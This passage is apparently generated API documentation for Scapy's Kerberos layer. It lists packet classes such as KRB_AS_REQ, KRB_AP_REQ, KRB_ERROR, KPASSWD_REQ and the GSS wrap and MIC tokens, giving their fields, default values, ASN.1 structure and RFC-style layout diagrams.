class scapy.layers.kerberos.KERB_AD_TARGET_PRINCIPAL(_pkt, /, *, spn=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L900-L904]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SPN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. KERB_AD_TARGET_PRINCIPAL                   


KERB_AD_TARGET_PRINCIPAL fields






	spn

	StrFieldUtf16

	b''















	
class scapy.layers.kerberos.KERB_AUTH_DATA_AP_OPTIONS(_pkt, /, *, apOptions=16384)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L880-L890]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           APOPTIONS                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. KERB_AUTH_DATA_AP_OPTIONS                  


KERB_AUTH_DATA_AP_OPTIONS fields






	apOptions

	LEIntEnumField

	16384















	
class scapy.layers.kerberos.KERB_ERROR_DATA(_pkt, /, *, dataType=0x2 <ASN1_INTEGER[2]>, dataValue=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1887-L1901]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
KERB_ERROR_DATA fields






	dataType

	ASN1F_enum_INTEGER

	0x2 <ASN1_INTEGER[2]>



	dataValue

	_Error_Field

	None















	
class scapy.layers.kerberos.KERB_EXT_ERROR(_pkt, /, *, status=0, reserved=0, flags=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1866-L1871]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. KERB_EXT_ERROR                        


KERB_EXT_ERROR fields






	status

	XLEIntField

	0



	reserved

	XLEIntField

	0



	flags

	XLEIntField

	1















	
class scapy.layers.kerberos.KPASSWD_REP(_pkt, /, *, len=None, pvno=1, apreplen=None, aprep=<KRB_AP_REP  |>, krbpriv=<KRB_PRIV  |>, error=<KRB_ERROR  sname=<PrincipalName  |> |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2328-L2361]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2360-L2361]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              PVNO             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            APREPLEN           |             APREP             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            KRBPRIV            |             ERROR             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. KPASSWD_REP                         


KPASSWD_REP fields






	len

	ShortField

	None



	pvno

	ShortField

	1



	apreplen

	ShortField

	None



	aprep

	PacketLenField

	<KRB_AP_REP  |>



	krbpriv

	PacketLenField (Cond)

	<KRB_PRIV  |>



	error

	PacketLenField (Cond)

	<KRB_ERROR  sname=<PrincipalName  |> |>











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2353-L2358]

	








	
class scapy.layers.kerberos.KPASSWD_REQ(_pkt, /, *, len=None, pvno=65408, apreqlen=None, apreq=<KRB_AP_REQ  |>, krbpriv=<KRB_PRIV  |>, error=<KRB_ERROR  sname=<PrincipalName  |> |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2284-L2314]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              PVNO             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            APREQLEN           |             APREQ             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            KRBPRIV            |             ERROR             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. KPASSWD_REQ                         


KPASSWD_REQ fields






	len

	ShortField

	None



	pvno

	ShortField

	65408



	apreqlen

	ShortField

	None



	apreq

	PacketLenField

	<KRB_AP_REQ  |>



	krbpriv

	PacketLenField (Cond)

	<KRB_PRIV  |>



	error

	PacketLenField (Cond)

	<KRB_ERROR  sname=<PrincipalName  |> |>











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2309-L2314]

	








	
class scapy.layers.kerberos.KPasswdRepData(_pkt, /, *, resultCode=0, resultString=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2376-L2380]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           RESULTCODE          |          RESULTSTRING         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. KPasswdRepData                        


KPasswdRepData fields






	resultCode

	ShortEnumField

	0



	resultString

	StrField

	b''















	
class scapy.layers.kerberos.KRB_AP_REP(_pkt, /, *, pvno=0x5 <ASN1_INTEGER[5]>, msgType=0xf <ASN1_INTEGER[15]>, encPart=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1569-L1578]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_PACKET object>)>,)>

	




	
aliastypes

	




	
fields_desc

	
KRB_AP_REP fields






	pvno

	ASN1F_INTEGER

	0x5 <ASN1_INTEGER[5]>



	msgType

	ASN1F_enum_INTEGER

	0xf <ASN1_INTEGER[15]>



	encPart

	ASN1F_PACKET

	None















	
class scapy.layers.kerberos.KRB_AP_REQ(_pkt, /, *, pvno=0x5 <ASN1_INTEGER[5]>, msgType=0xe <ASN1_INTEGER[14]>, apOptions=<ASN1_BIT_STRING[]=b'' (0 unused bit)>, ticket=None, authenticator=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1512-L1532]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_FLAGS object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_PACKET object>)>,)>

	




	
aliastypes

	




	
fields_desc

	
KRB_AP_REQ fields






	pvno

	ASN1F_INTEGER

	0x5 <ASN1_INTEGER[5]>



	msgType

	ASN1F_enum_INTEGER

	0xe <ASN1_INTEGER[14]>



	apOptions

	ASN1F_FLAGS

	<ASN1_BIT_STRING[]=b'' (0 unused bit)>



	ticket

	ASN1F_PACKET

	None



	authenticator

	ASN1F_PACKET

	None















	
class scapy.layers.kerberos.KRB_AS_REP(_pkt, /, *, pvno=0x5 <ASN1_INTEGER[5]>, msgType=0xb <ASN1_INTEGER[11]>, padata=[], crealm=<ASN1_GENERAL_STRING['']>, cname=None, ticket=None, encPart=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1436-L1441]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_GENERAL_STRING object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_PACKET object>)>,)>

	




	
aliastypes

	




	
fields_desc

	
KRB_AS_REP fields






	pvno

	ASN1F_INTEGER

	0x5 <ASN1_INTEGER[5]>



	msgType

	ASN1F_enum_INTEGER

	0xb <ASN1_INTEGER[11]>



	padata

	ASN1F_SEQUENCE_OF

	[]



	crealm

	ASN1F_GENERAL_STRING

	<ASN1_GENERAL_STRING['']>



	cname

	ASN1F_PACKET

	None



	ticket

	ASN1F_PACKET

	None



	encPart

	ASN1F_PACKET

	None















	
class scapy.layers.kerberos.KRB_AS_REQ(_pkt, /, *, pvno=0x5 <ASN1_INTEGER[5]>, msgType=0xa <ASN1_INTEGER[10]>, padata=[], reqBody=<KRB_KDC_REQ_BODY  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1404-L1409]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_PACKET object>)>,)>

	




	
aliastypes

	




	
fields_desc

	
KRB_AS_REQ fields






	pvno

	ASN1F_INTEGER

	0x5 <ASN1_INTEGER[5]>



	msgType

	ASN1F_enum_INTEGER

	0xa <ASN1_INTEGER[10]>



	padata

	ASN1F_SEQUENCE_OF

	[]



	reqBody

	ASN1F_PACKET

	<KRB_KDC_REQ_BODY  |>















	
class scapy.layers.kerberos.KRB_Authenticator(_pkt, /, *, authenticatorPvno=0x5 <ASN1_INTEGER[5]>, crealm=<ASN1_GENERAL_STRING['']>, cname=None, cksum=None, cusec=0x0 <ASN1_INTEGER[0]>, ctime=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, subkey=None, seqNumber=0x0 <ASN1_INTEGER[0]>, encAuthorizationData=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1538-L1563]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_GENERAL_STRING object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_GENERALIZED_TIME object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>,)>

	




	
aliastypes

	




	
fields_desc

	
KRB_Authenticator fields






	authenticatorPvno

	ASN1F_INTEGER

	0x5 <ASN1_INTEGER[5]>



	crealm

	ASN1F_GENERAL_STRING

	<ASN1_GENERAL_STRING['']>



	cname

	ASN1F_PACKET

	None



	cksum

	ASN1F_PACKET

	None



	cusec

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	ctime

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	subkey

	ASN1F_PACKET

	None



	seqNumber

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	encAuthorizationData

	ASN1F_PACKET

	None















	
class scapy.layers.kerberos.KRB_AuthenticatorChecksum(_pkt, /, *, Lgth=None, Bnd=<GssChannelBindings  initiator_address=<GssBufferDesc  |> acceptor_address=<GssBufferDesc  |> |>, Flags=<Flag 0 ()>, DlgOpt=0, Dlgth=None, Deleg=<KRB_CRED  tickets=[<KRB_Ticket  sname=<PrincipalName  |> encPart=<EncryptedData  |> |>] |>, Exts=[<KRB_GSS_EXT  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1971-L2013]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LGTH                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              BND              |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             DLGOPT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             DLGTH             |             DELEG             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              EXTS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. KRB_AuthenticatorChecksum                  


KRB_AuthenticatorChecksum fields






	Lgth

	FieldLenField

	None



	Bnd

	PacketLenField

	<GssChannelBindings  initiator_address=<GssBufferDesc  |> acceptor_address=<GssBufferDesc  |> |>



	Flags

	FlagsField

	<Flag 0 ()>



	DlgOpt

	LEShortField (Cond)

	0



	Dlgth

	FieldLenField (Cond)

	None



	Deleg

	PacketLenField (Cond)

	<KRB_CRED  tickets=[<KRB_Ticket  sname=<PrincipalName  |> encPart=<EncryptedData  |> |>] |>



	Exts

	PacketListField

	[<KRB_GSS_EXT  |>]















	
class scapy.layers.kerberos.KRB_CRED(_pkt, /, *, pvno=0x5 <ASN1_INTEGER[5]>, msgType=0x16 <ASN1_INTEGER[22]>, tickets=[<KRB_Ticket  sname=<PrincipalName  |> encPart=<EncryptedData  |> |>], encPart=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1639-L1649]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_enum_INTEGER object>, <ASN1F_SEQUENCE_OF tickets>, <scapy.asn1fields.ASN1F_PACKET object>)>,)>

	




	
aliastypes

	




	
fields_desc

	
KRB_CRED fields






	pvno

	ASN1F_INTEGER

	0x5 <ASN1_INTEGER[5]>



	msgType

	ASN1F_enum_INTEGER

	0x16 <ASN1_INTEGER[22]>



	tickets

	ASN1F_SEQUENCE_OF

	[<KRB_Ticket  sname=<PrincipalName  |> encPart=<EncryptedData  |> |>]



	encPart

	ASN1F_PACKET

	None















	
class scapy.layers.kerberos.KRB_ERROR(_pkt, /, *, pvno=0x5 <ASN1_INTEGER[5]>, msgType=0x1e <ASN1_INTEGER[30]>, ctime=None, cusec=None, stime=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, susec=0x0 <ASN1_INTEGER[0]>, errorCode=0x0 <ASN1_INTEGER[0]>, crealm=None, cname=None, realm=<ASN1_GENERAL_STRING['']>, sname=<PrincipalName  |>, eText=<ASN1_GENERAL_STRING['']>, eData=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1752-L1860]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_GENERALIZED_TIME object>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_GENERAL_STRING object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>,)>

	




	
aliastypes

	




	
fields_desc

	
KRB_ERROR fields






	pvno

	ASN1F_INTEGER

	0x5 <ASN1_INTEGER[5]>



	msgType

	ASN1F_enum_INTEGER

	0x1e <ASN1_INTEGER[30]>



	ctime

	ASN1F_GENERALIZED_TIME

	None



	cusec

	ASN1F_INTEGER

	None



	stime

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	susec

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	errorCode

	ASN1F_enum_INTEGER

	0x0 <ASN1_INTEGER[0]>



	crealm

	ASN1F_GENERAL_STRING

	None



	cname

	ASN1F_PACKET

	None



	realm

	ASN1F_GENERAL_STRING

	<ASN1_GENERAL_STRING['']>



	sname

	ASN1F_PACKET

	<PrincipalName  |>



	eText

	ASN1F_GENERAL_STRING

	<ASN1_GENERAL_STRING['']>



	eData

	_KRBERROR_data_Field

	<ASN1_STRING['']>















	
class scapy.layers.kerberos.KRB_FINISHED(_pkt, /, *, gssMic=<Checksum  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1933-L1937]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_PACKET object>,)>

	




	
aliastypes

	




	
fields_desc

	
KRB_FINISHED fields






	gssMic

	ASN1F_PACKET

	<Checksum  |>















	
class scapy.layers.kerberos.KRB_GSSAPI_Token(_pkt, /, *, MechType=<ASN1_OID['Kerberos 5']>, innerToken=<KRB_InnerToken  root=<KRB_AP_REQ  |> |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2079-L2091]

	Bases: GSSAPI_BLOB


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_OID object>, <scapy.asn1fields.ASN1F_PACKET object>)>

	




	
aliastypes

	




	
fields_desc

	
KRB_GSSAPI_Token fields






	MechType

	ASN1F_OID

	<ASN1_OID['Kerberos 5']>



	innerToken

	ASN1F_PACKET

	<KRB_InnerToken  root=<KRB_AP_REQ  |> |>















	
class scapy.layers.kerberos.KRB_GSS_Delete_sec_context_RFC1964(_pkt, /, *, SGN_ALG=0, Filler=4294967295, SND_SEQ=b'', SGN_CKSUM=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2139-L2141]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SGN ALG            |             FILLER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            SND SEQ            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           SGN CKSUM           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. KRB_GSS_Delete_sec_context_RFC1964              


KRB_GSS_Delete_sec_context_RFC1964 fields






	SGN_ALG

	LEShortEnumField

	0



	Filler

	XLEIntField

	4294967295



	SND_SEQ

	XStrFixedLenField

	b''



	SGN_CKSUM

	PadField

	b''















	
class scapy.layers.kerberos.KRB_GSS_EXT(_pkt, /, *, type=0, length=None, data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1943-L1965]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TYPE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. KRB_GSS_EXT                         


KRB_GSS_EXT fields






	type

	IntEnumField

	0



	length

	FieldLenField

	None



	data

	MultipleTypeField (PacketField, XStrLenField)

	b''















	
class scapy.layers.kerberos.KRB_GSS_MIC(_pkt, /, *, Flags=<Flag 0 ()>, Filler=b'\xff\xff\xff\xff\xff', SND_SEQ=0, SGN_CKSUM=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2158-L2165]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |                     FILLER                    |
+-+-+-+-+-+-+-+-+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            SND SEQ            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           SGN CKSUM           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. KRB_GSS_MIC                         


KRB_GSS_MIC fields






	Flags

	FlagsField

	<Flag 0 ()>



	Filler

	XStrFixedLenField

	b'\xff\xff\xff\xff\xff'



	SND_SEQ

	LongField

	0



	SGN_CKSUM

	XStrField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.layers.kerberos.KRB_GSS_MIC_RFC1964(_pkt, /, *, SGN_ALG=0, Filler=4294967295, SND_SEQ=b'', SGN_CKSUM=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2097-L2108]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SGN ALG            |             FILLER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            SND SEQ            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           SGN CKSUM           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. KRB_GSS_MIC_RFC1964                     


KRB_GSS_MIC_RFC1964 fields






	SGN_ALG

	LEShortEnumField

	0



	Filler

	XLEIntField

	4294967295



	SND_SEQ

	XStrFixedLenField

	b''



	SGN_CKSUM

	PadField

	b''















	
class scapy.layers.kerberos.KRB_GSS_Wrap(_pkt, /, *, Flags=<Flag 0 ()>, Filler=255, EC=0, RRC=0, SND_SEQ=0, Data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2174-L2183]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |     FILLER    |               EC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              RRC              |            SND SEQ            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. KRB_GSS_Wrap                         


KRB_GSS_Wrap fields






	Flags

	FlagsField

	<Flag 0 ()>



	Filler

	XByteField

	255



	EC

	ShortField

	0



	RRC

	ShortField

	0



	SND_SEQ

	LongField

	0



	Data

	XStrField

	b''















	
class scapy.layers.kerberos.KRB_GSS_Wrap_RFC1964(_pkt, /, *, SGN_ALG=0, SEAL_ALG=0, Filler=65535, SND_SEQ=b'', SGN_CKSUM=b'', CONFOUNDER=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2116-L2130]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SGN ALG            |            SEAL ALG           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FILLER            |            SND SEQ            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           SGN CKSUM           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           CONFOUNDER          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. KRB_GSS_Wrap_RFC1964                     


KRB_GSS_Wrap_RFC1964 fields






	SGN_ALG

	LEShortEnumField

	0



	SEAL_ALG

	LEShortEnumField

	0



	Filler

	XLEShortField

	65535



